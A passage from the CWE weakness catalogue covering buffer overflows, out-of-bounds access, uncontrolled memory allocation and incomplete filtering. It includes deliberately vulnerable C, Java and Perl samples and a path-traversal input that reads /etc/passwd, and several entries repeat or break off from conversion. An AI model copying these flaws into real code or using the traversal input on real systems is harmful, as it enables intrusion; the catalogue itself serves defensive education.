ChildOf	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	280
ChildOf	B	676	Use of Potentially Dangerous Function	1317

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	19

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Background Details

Windows provides a large number of utility functions that manipulate buffers containing filenames. In most cases, the result is returned in a buffer that is passed in as input. (Usually the filename is modified in place.) Most functions require the buffer to be at least MAX_PATH bytes in length, but you should check the documentation for each function individually. If the buffer is not large enough to store the result of the manipulation, a buffer overflow can occur.

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	

Scope	Impact	Likelihood
Confidentiality	Execute Unauthorized Code or Commands	
Availability	DoS: Crash, Exit, or Restart	

Potential Mitigations

Phase: Implementation

Always specify output buffers large enough to handle the maximum-size possible result from path manipulation functions.

Demonstrative Examples

Example 1:

In this example the function creates a directory named "output\<name>" in the current directory and returns a heap-allocated copy of its name.

Example Language: C *(bad)*

```
char *createOutputDirectory(char *name) {
    char outputDirectoryName[128];
    if (getCurrentDirectory(128, outputDirectoryName) == 0) {
        return null;
    }
    if (!PathAppend(outputDirectoryName, "output")) {
        return null;
    }
    if (!PathAppend(outputDirectoryName, name)) {
        return null;
    }
    if (SHCreateDirectoryEx(NULL, outputDirectoryName, NULL) != ERROR_SUCCESS) {
        return null;
    }
    return StrDup(outputDirectoryName);
}
```

For most values of the current directory and the name parameter, this function will work properly. However, if the name parameter is particularly long, then the second call to PathAppend() could overflow the outputDirectoryName buffer, which is smaller than MAX_PATH bytes.

Affected Resources

- Memory
- File or Directory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	972	SFP Secondary Cluster: Faulty String Expansion	888	1945

Notes

Maintenance

Much of this entry was originally part of CWE-249, which was deprecated for several reasons.

Maintenance

This entry is at a much lower level of abstraction than most entries because it is function-specific. It also has significant overlap with other entries that can vary depending on the perspective. For example, incorrect usage could trigger either a stack-based overflow (CWE-121) or a heap-based overflow (CWE-122). The CWE team has not decided how to handle such entries.

CWE-786: Access of Memory Location Before Start of Buffer

Weakness ID : 786 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software reads or writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.

Extended Description

This typically occurs when a pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271
ParentOf	B	124	Buffer Underwrite ('Buffer Underflow')	298
ParentOf	V	127	Buffer Under-read	308

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1218	Memory Buffer Errors	2016

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory *For an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.*	
Integrity Availability	Modify Memory DoS: Crash, Exit, or Restart	

Scope	Impact	Likelihood
	Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash.	
Integrity	Modify Memory Execute Unauthorized Code or Commands *If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code. If the corrupted memory is data rather than instructions, the system will continue to function with improper changes, possibly in violation of an implicit or explicit policy.*	

Demonstrative Examples

Example 1:

In the following C/C++ example, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character.

Example Language: C *(bad)*

```
char* trimTrailingWhitespace(char *strMessage, int length) {
    char *retMessage;
    char *message = malloc(sizeof(char)*(length+1));
    // copy input string to a temporary string
    char message[length+1];
    int index;
    for (index = 0; index < length; index++) {
        message[index] = strMessage[index];
    }
    message[index] = '\0';
    // trim trailing whitespace
    int len = index-1;
    while (isspace(message[len])) {
        message[len] = '\0';
        len--;
    }
    // return string without trailing whitespace
    retMessage = message;
    return retMessage;
}
```

However, this function can cause a buffer underwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the isspace() function on an address outside of the bounds of the local buffer.

Example 2:

The following example asks a user for an offset into an array to select an item.

Example Language: C *(bad)*

```
int main (int argc, char **argv) {
    char *items[] = {"boat", "car", "truck", "train"};
    int index = GetUntrustedOffset();
    printf("You selected %s\n", items[index-1]);
}
```

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

Example 3:

The following is an example of code that may result in a buffer underwrite, if find() returns a negative value to indicate that ch is not found in srcBuf:

Example Language: C *(bad)*

```
int main() {
  ...
  strncpy(destBuf, &srcBuf[find(srcBuf, ch)], 1024);
  ...
}
```

If the index to srcBuf is somehow under user control, this is an arbitrary write-what-where condition.

Observed Examples

Reference	Description
CVE-2002-2227	Unchecked length of SSLv2 challenge value leads to buffer underflow. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2227*

CWE-787: Out-of-bounds Write

Weakness ID : 787 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software writes data past the end, or before the beginning, of the intended buffer.

Extended Description

Typically, this can result in corruption of data, a crash, or code execution. The software may modify an index or perform pointer arithmetic that references a memory location that is outside of the boundaries of the buffer. A subsequent write operation then produces undefined or unexpected results.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity Availability	Modify Memory DoS: Crash, Exit, or Restart Execute Unauthorized Code or Commands	

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Effectiveness = High

Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Potential Mitigations

Phase: Requirements

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer. Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.

Phase: Build and Compilation

Strategy = Compilation or Build Hardening

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows. For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

Effectiveness = Defense in Depth

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Consider adhering to the following rules when allocating and managing an application's memory: Double check that your buffer is as large as you specify. When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string. Check buffer boundaries if accessing the buffer in a loop and make sure you are not in danger of writing past the allocated

space. If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Phase: Operation

Strategy = Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64].

Effectiveness = Defense in Depth

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Operation

Strategy = Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [REF-60] [REF-61].

Effectiveness = Defense in Depth

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

Effectiveness = Moderate

This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).

Demonstrative Examples

Example 1:

The following code attempts to save four different identification numbers into an array.

Example Language: C *(bad)*

```
int id_sequence[3];
/* Populate the id array. */
id_sequence[0] = 123;
id_sequence[1] = 234;
id_sequence[2] = 345;
id_sequence[3] = 456;
```

Example 2:

In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

Example Language: C *(bad)*

```
int returnChunkSize(void *) {
    /* if chunk info is valid, return the size of usable memory,
    * else, return -1 to indicate an error
```

```
    */
    ...
}
int main() {
    ...
    memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
    ...
}
```

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

Example 3:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C *(bad)*

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then we may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Example 4:

This example applies an encoding procedure to an input string and stores it into a buffer.

Example Language: C *(bad)*

```
char * copy_input(char *user_supplied_string){
    int i, dst_index;
    char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
    if ( MAX_SIZE <= strlen(user_supplied_string) ){
        die("user string too long, die evil hacker!");
    }
    dst_index = 0;
    for ( i = 0; i < strlen(user_supplied_string); i++ ){
        if( '&' == user_supplied_string[i] ){
            dst_buf[dst_index++] = '&';
            dst_buf[dst_index++] = 'a';
            dst_buf[dst_index++] = 'm';
            dst_buf[dst_index++] = 'p';
            dst_buf[dst_index++] = ';';
        }
        else if ('<' == user_supplied_string[i] ){
            /* encode to &lt; */
        }
```

```
        else dst_buf[dst_index++] = user_supplied_string[i];
    }
    return dst_buf;
}
```

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

Example 5:

In the following C/C++ example, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character.

Example Language: C *(bad)*

```
char* trimTrailingWhitespace(char *strMessage, int length) {
    char *retMessage;
    char *message = malloc(sizeof(char)*(length+1));
    // copy input string to a temporary string
    char message[length+1];
    int index;
    for (index = 0; index < length; index++) {
        message[index] = strMessage[index];
    }
    message[index] = '\0';
    // trim trailing whitespace
    int len = index-1;
    while (isspace(message[len])) {
        message[len] = '\0';
        len--;
    }
    // return string without trailing whitespace
    retMessage = message;
    return retMessage;
}
```

However, this function can cause a buffer underwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the isspace() function on an address outside of the bounds of the local buffer.

Example 6:

The following is an example of code that may result in a buffer underwrite, if find() returns a negative value to indicate that ch is not found in srcBuf:

Example Language: C *(bad)*

```
int main() {
    ...
    strncpy(destBuf, &srcBuf[find(srcBuf, ch)], 1024);
    ...
}
```

If the index to srcBuf is somehow under user control, this is an arbitrary write-what-where condition.

Observed Examples

CWE-788: Access of Memory Location After End of Buffer

Weakness ID : 788 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software reads or writes to a buffer using an index or pointer that references a memory location after the end of the buffer.

Extended Description

This typically occurs when a pointer or its index is decremented to a position before the buffer; when pointer arithmetic results in a position before the buffer; or when a negative index is used, which generates a position before the buffer.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271
ParentOf	V	121	Stack-based Buffer Overflow	289
ParentOf	V	122	Heap-based Buffer Overflow	293
ParentOf	V	126	Buffer Over-read	305

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1218	Memory Buffer Errors	2016

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory *For an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.*	
Integrity Availability	Modify Memory DoS: Crash, Exit, or Restart	

Scope	Impact	Likelihood
	Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.	
Integrity	Modify Memory Execute Unauthorized Code or Commands *If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow. If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), they can redirect a function pointer to their own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.*	

Demonstrative Examples

Example 1:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C *(bad)*

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then we may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Example 2:

In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

Example Language: C *(bad)*

```
int returnChunkSize(void *) {
    /* if chunk info is valid, return the size of usable memory,
    * else, return -1 to indicate an error
    */
    ...
```

```
}
int main() {
    ...
    memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
    ...
}
```

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

Example 3:

This example applies an encoding procedure to an input string and stores it into a buffer.

Example Language: C *(bad)*

```
char * copy_input(char *user_supplied_string){
    int i, dst_index;
    char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
    if ( MAX_SIZE <= strlen(user_supplied_string) ){
        die("user string too long, die evil hacker!");
    }
    dst_index = 0;
    for ( i = 0; i < strlen(user_supplied_string); i++ ){
        if( '&' == user_supplied_string[i] ){
            dst_buf[dst_index++] = '&';
            dst_buf[dst_index++] = 'a';
            dst_buf[dst_index++] = 'm';
            dst_buf[dst_index++] = 'p';
            dst_buf[dst_index++] = ';';
        }
        else if ('<' == user_supplied_string[i] ){
            /* encode to &lt; */
        }
        else dst_buf[dst_index++] = user_supplied_string[i];
    }
    return dst_buf;
}
```

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

Example 4:

In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

Example Language: C *(bad)*

```
int processMessageFromSocket(int socket) {
    int success;
    char buffer[BUFFER_SIZE];
    char message[MESSAGE_SIZE];
    // get message from socket and store into buffer
    //Ignoring possibliity that buffer > BUFFER_SIZE
    if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {
```

```
        // place contents of the buffer into message structure
        ExMessage *msg = recastBuffer(buffer);
        // copy message body into string for processing
        int index;
        for (index = 0; index < msg->msgLength; index++) {
            message[index] = msg->msgBody[index];
        }
        message[index] = '\0';
        // process message
        success = processMessage(message);
    }
    return success;
}
```

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of the message body (CWE-606). This can result in a buffer over-read (CWE-125) by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

Observed Examples

CWE-789: Uncontrolled Memory Allocation

Weakness ID : 789 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The product allocates memory based on an untrusted size value, but it does not validate or incorrectly validates the size, allowing arbitrary amounts of memory to be allocated.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Weakness Ordinalities

Primary :

Resultant :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Memory) *Not controlling memory allocation can result in a request for too much system memory, possibly leading to a crash of the application due to out-of-memory conditions, or the consumption of a large amount of memory on the system.*	

Potential Mitigations

Phase: Implementation

Phase: Architecture and Design

Perform adequate input validation against any value that influences the amount of memory that is allocated. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.

Phase: Operation

Run your program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.

Demonstrative Examples

Example 1:

Consider the following code, which accepts an untrusted size value and allocates a buffer to contain a string of the given size.

Example Language: C *(bad)*

```
unsigned int size = GetUntrustedInt();
/* ignore integer overflow (CWE-190) for this example */
unsigned int totBytes = size * sizeof(char);
char *string = (char *)malloc(totBytes);
InitializeString(string);
```

Suppose an attacker provides a size value of:

12345678

This will cause 305,419,896 bytes (over 291 megabytes) to be allocated for the string.

Example 2:

Consider the following code, which accepts an untrusted size value and uses the size as an initial capacity for a HashMap.

Example Language: Java *(bad)*

```
unsigned int size = GetUntrustedInt();
HashMap list = new HashMap(size);
```

The HashMap constructor will verify that the initial capacity is not negative, however there is no check in place to verify that sufficient memory is present. If the attacker provides a large enough value, the application will run into an OutOfMemoryError.

Example 3:

The following code obtains an untrusted number that it used as an index into an array of messages.

Example Language: Perl *(bad)*

```
my $num = GetUntrustedNumber();
my @messages = ();
$messages[$num] = "Hello World";
```

The index is not validated at all (CWE-129), so it might be possible for an attacker to modify an element in @messages that was not intended. If an index is used that is larger than the current size of the array, the Perl interpreter automatically expands the array so that the large index works.

If $num is a large value such as 2147483648 (1<<31), then the assignment to $messages[$num] would attempt to create a very large array, then eventually produce an error message such as:

Out of memory during array extend

This memory exhaustion will cause the Perl program to exit, possibly a denial of service. In addition, the lack of memory could also prevent many other programs from successfully running on the system.

Observed Examples

Reference	Description
CVE-2008-1708	memory consumption and daemon exit by specifying a large value in a length field *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1708*

Reference	Description
CVE-2008-0977	large value in a length field leads to memory consumption and crash when no more memory is available *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0977*
CVE-2006-3791	large key size in game program triggers crash when a resizing function cannot allocate enough memory *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3791*
CVE-2004-2589	large Content-Length HTTP header value triggers application crash in instant messaging application due to failure in memory allocation *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2589*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1131	CISQ Quality Measures - Security	1128	1981
MemberOf	C	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	1998

Notes

Relationship

This weakness can be closely associated with integer overflows (CWE-190). Integer overflow attacks would concentrate on providing an extremely large number that triggers an overflow that causes less memory to be allocated than expected. By providing a large value that does not trigger an integer overflow, the attacker could still cause excessive amounts of memory to be allocated.

Applicable Platform

Uncontrolled memory allocation is possible in many languages, such as dynamic array allocation in perl or initial size parameters in Collections in Java. However, languages like C and C++ where programmers have the power to more directly control memory management will be more susceptible.

CWE-790: Improper Filtering of Special Elements

Weakness ID : 790 **Status:** Incomplete

Structure : Simple
Abstraction : Class

Description

The software receives data from an upstream component, but does not filter or incorrectly filters special elements before sending it to a downstream component.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		138	Improper Neutralization of Special Elements	342
ParentOf	B	791	Incomplete Filtering of Special Elements	1478

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Demonstrative Examples

Example 1:

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl *(bad)*

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.\//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Example Language: *(attack)*

```
../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language: *(result)*

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language: *(result)*

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

CWE-791: Incomplete Filtering of Special Elements

Weakness ID : 791 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software receives data from an upstream component, but does not completely filter special elements before sending it to a downstream component.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

This value is then concatenated with the /home/user/ directory:

Example Language: *(result)*

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

CWE-792: Incomplete Filtering of One or More Instances of Special Elements

Weakness ID : 792 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software receives data from an upstream component, but does not completely filter one or more instances of special elements before sending it to a downstream component.

Extended Description

Incomplete filtering of this nature involves either:

- only filtering a single instance of a special element when more exist, or
- not filtering all instances or all elements where multiple special elements exist.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Example Language: *(result)*

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

CWE-793: Only Filtering One Instance of a Special Element

Weakness ID : 793 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software receives data from an upstream component, but only filters a single instance of a special element before sending it to a downstream component.

Extended Description

Incomplete filtering of this nature may be location-dependent, as in only the first or last element is filtered.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Demonstrative Examples

Example 1:

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl *(bad)*

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.\//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Example Language: *(attack)*

```
../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language: *(result)*

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language: *(result)*

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

CWE-794: Incomplete Filtering of Multiple Instances of Special Elements

Weakness ID : 794 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software receives data from an upstream component, but does not filter all instances of a special element before sending it to a downstream component.

Extended Description

Incomplete filtering of this nature may be applied to:

- sequential elements (special elements that appear next to each other) or
- non-sequential elements (special elements that appear multiple times in different locations).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Example Language: Perl *(bad)*

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.\//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Example Language: *(attack)*

```
../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language: *(result)*

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language: *(result)*

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

CWE-795: Only Filtering Special Elements at a Specified Location

Weakness ID : 795 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software receives data from an upstream component, but only accounts for special elements at a specified location, thereby missing remaining special elements that may exist before sending it to a downstream component.

Extended Description

A filter might only account for instances of special elements when they occur:

- relative to a marker (e.g. "at the beginning/end of string; the second argument"), or
- at an absolute position (e.g. "byte number 10").

This may leave special elements in the data that did not match the filter position, but still may be dangerous.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	1851

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Demonstrative Examples

Example 1:

The following code takes untrusted input and uses a regular expression to filter a "../" element located at the beginning of the input string. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl *(bad)*

```
my $Username = GetUntrustedInput();
$Username =~ s/^\.\.\//;
my $filename = "/home/user/" . $Username;
